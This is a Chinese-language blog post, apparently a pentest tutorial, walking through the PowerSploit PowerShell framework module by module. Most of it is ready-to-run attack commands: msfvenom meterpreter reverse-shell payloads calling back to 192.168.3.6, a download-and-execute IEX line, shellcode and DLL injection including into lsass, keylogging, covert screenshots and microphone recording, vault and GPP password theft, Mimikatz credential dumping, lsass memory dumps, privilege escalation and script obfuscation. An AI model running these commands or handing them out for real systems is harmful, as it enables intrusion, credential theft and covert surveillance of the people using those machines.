powershell 渗透框架 [PowerSploit]
0x01 前言:
和nishang一样,PowerSploit也是一款非常实用的powershell渗透框架,下面就其用法做些简要说明
Set-ExecutionPolicy Unrestricted 还是一样,先放开脚本执行限制,实际渗透中自己bypass一下就好了
0x02 命令执行类模块 [CodeExecution]:
Invoke-Shellcode.ps1 向指定进程中注入我们的shellcode,我们可以通过这种方式弹回一个meterpreter,注意shellcode系统位数版本要跟目标的系统一致才行,另外,权限务够也是必须的
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f powershell -o /root/Desktop/shell.txt
# msfconsole 监听刚才的payload配置
可以看到,当我们注入自己的payload之后meterpreter被正常弹回
PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-Shellcode.ps1
PS C:> IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.6/shell.txt')
PS C:> Invoke-Shellcode -Shellcode @($buf) -ProcessId 6284
Invoke-WmiCommand.ps1 适用于批量在远程机器上执行系统指令,暂时还有些问题
PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-WmiCommand.ps1
PS C:> $Hosts = Get-Content C:host.txt
PS C:> $Payload = Get-Content C:shell.ps1 问题就在这个payload上
PS C:> $Credential = Get-Credential 'TargetDomainTargetUser' 指定账号,它会提示你输入密码
PS C:> $Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
Invoke-DllInjection.ps1 将自己的dll注入到目标机器的指定进程中,务必以administrator或者system权限操作,这里就一个弹回以meterpreter为例
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f dll -o /root/Desktop/shell.dll
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lport 1234
msf exploit(handler) > set lhost 192.168.3.6
msf exploit(handler) > exploit -j
PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-DllInjection.ps1
PS C:> Invoke-DllInjection -ProcessID 5560 -Dll shell.dll 这里的5560是explorer.exe的进程id,最好不要注入到这个进程里,容易把资源管理器搞崩溃
Invoke-ReflectivePEInjection.ps1 远程注入dll,同样,也有些问题
PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-ReflectivePEInjection.ps1
PS C:> $PEBytes = [IO.File]::ReadAllBytes('c:shell.dll')
PS C:> Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName 2008R2DC
0x03 各种信息搜集模块 [Exfiltration]:
截屏
PS C:> Import-Module C:PowerSploitExfiltrationGet-TimedScreenshot.ps1
PS C:> Get-TimedScreenshot -Path c:temp -Interval 5 -EndTime 11:23 每5秒截一次图,到11:23时结束
键盘记录,如果是直接用弹回来的meterpreter再开的cmd[shell],直接在那里面用bypass选项执行脚本不太好使
PS C:> Import-Module C:PowerSploitExfiltrationGet-Keystrokes.ps1
PS C:> Get-Keystrokes -LogPath C:tempkey.log -Timeout 2 记录2分钟
抓取Windows vault 中保存的各种密码
PS C:> Import-Module C:PowerSploitExfiltrationGet-VaultCredential.ps1
PS C:> Get-VaultCredential
在域控中查找 registry.xml文件中的自动登录信息[账号密码],还有些问题
PS C:> Import-Module C:PowerSploitExfiltrationGet-GPPAutologon.ps1
PS C:> Get-GPPAutolgon
同上,在域控中搜索groups.xml,scheduledtasks.xml,services.xml和datasources.xml文件中的明文账户密码
PS C:> Import-Module C:PowerSploitExfiltrationGet-GPPPassword.ps1
PS C:> Get-GPPPassword -Server rootkit.org
利用目标机器的麦克风进行录音,然后存到把音频文件存到指定的路径下,当然,前提是目标外设必须要有麦克风才行,这个对个人机会很有用
PS C:> Import-Module C:PowerSploitExfiltrationGet-MicrophoneAudio.ps1
PS C:> Get-MicrophoneAudio -Path c:tempsecret.wav -Length 10 -Alias "tokesn" 录制10秒,然后放到c:temp目录下
Invoke-TokenManipulation.ps1通常配合Invoke-CredentialInjection.ps1一起使用,一个用来窃取令牌另一个用来注入该令牌
powershell版的mimikatz套件,大家都已经非常熟悉了,这里就不细说了
PS C:> Import-Module C:PowerSploitExfiltrationInvoke-Mimikatz.ps1
PS C:> Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit" 抓取系统本地的用户密码明文及hash
导出进程数据,免杀抓hash,跟prodump -ma的功能基本一致,想必大家早已经用烂了
PS C:> Import-Module C:PowerSploitExfiltrationOut-Minidump.ps1
PS C:> Get-Process lsass | Out-Minidump -DumpFilePath C:temp
powershell版的shadowcopy,接下来去里面拷你想拷的文件就好了
PS C:> Import-Module C:PowerSploitExfiltrationVolumeShadowCopyTools.ps1
PS C:> New-VolumeShadowCopy -Volume C: 表示你想对那个分区执行shadowcopy操作
0x04 提权相关的一些模块 [Privesc]:
将当前线程令牌提到system
C:>powershell -sta 这里必须要以sta模式运行powershell
PS C:> Import-Module C:PowerSploitPrivescGet-System.ps1
PS C:> Get-System
执行提权的各种检查,要检查的内容比较多,如,可执行文件权限,服务运行权限,检查可被劫持的dll位置,检查AlwaysInstallElevated[非授权用户已system运行msi],其它各种可以被利用的注册表项,以及能搜到的各种密码等等……,可直接把检查的结果重定向到指定文件中,对于win提权来讲,绝逼好用,后续有时间我们再单独把它拿出来说
PS C:> Import-Module C:PowerSploitPrivescPowerUp.ps1
PS C:> Invoke-AllChecks | Out-File pri_info.txt
0x05 内网信息搜集的一些小模块 [Recon]
端口扫描,结果可能比较多可以选择把它重定向到指定的文件中,速度虽然不算太快,但也不慢,精度还可以,不过,比用什么专业的端口扫描机器要靠谱多了
PS C:> Import-Module C:PowerSploitReconInvoke-Portscan.ps1
PS C:> Invoke-Portscan -Hosts 192.168.3.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt
dns反向解析[其实类似于ip反查],由ip查出所对应的域名,对于定位内网指定机器会很好用
PS C:> Import-Module C:PowerSploitReconInvoke-ReverseDnsLookup.ps1
PS C:> Invoke-ReverseDnsLookup '192.168.3.20-192.168.3.24'
一样还是通过这种方式,我们可以直接把整个网段存活机器所对应的机器名都跑出来,在域中无疑非常方便,比单纯的net view&批处理还会更好一些
PS C:> Write-Output "192.168.3.0/24" | Invoke-ReverseDnsLookup
0x06 最后,还有一些辅助性的模块
Out-CompressedDll.ps1 编码并压缩指定的dll
Out-EncodedCommand.ps1 对ps进行编码
Out-EncryptedScript.ps1 加密脚本,可以用它来给脚本设置密码[可带盐]
文章出处：klion's blog
原文链接：https://klionsec.github.io/2016/10/06/powersploit/
官方 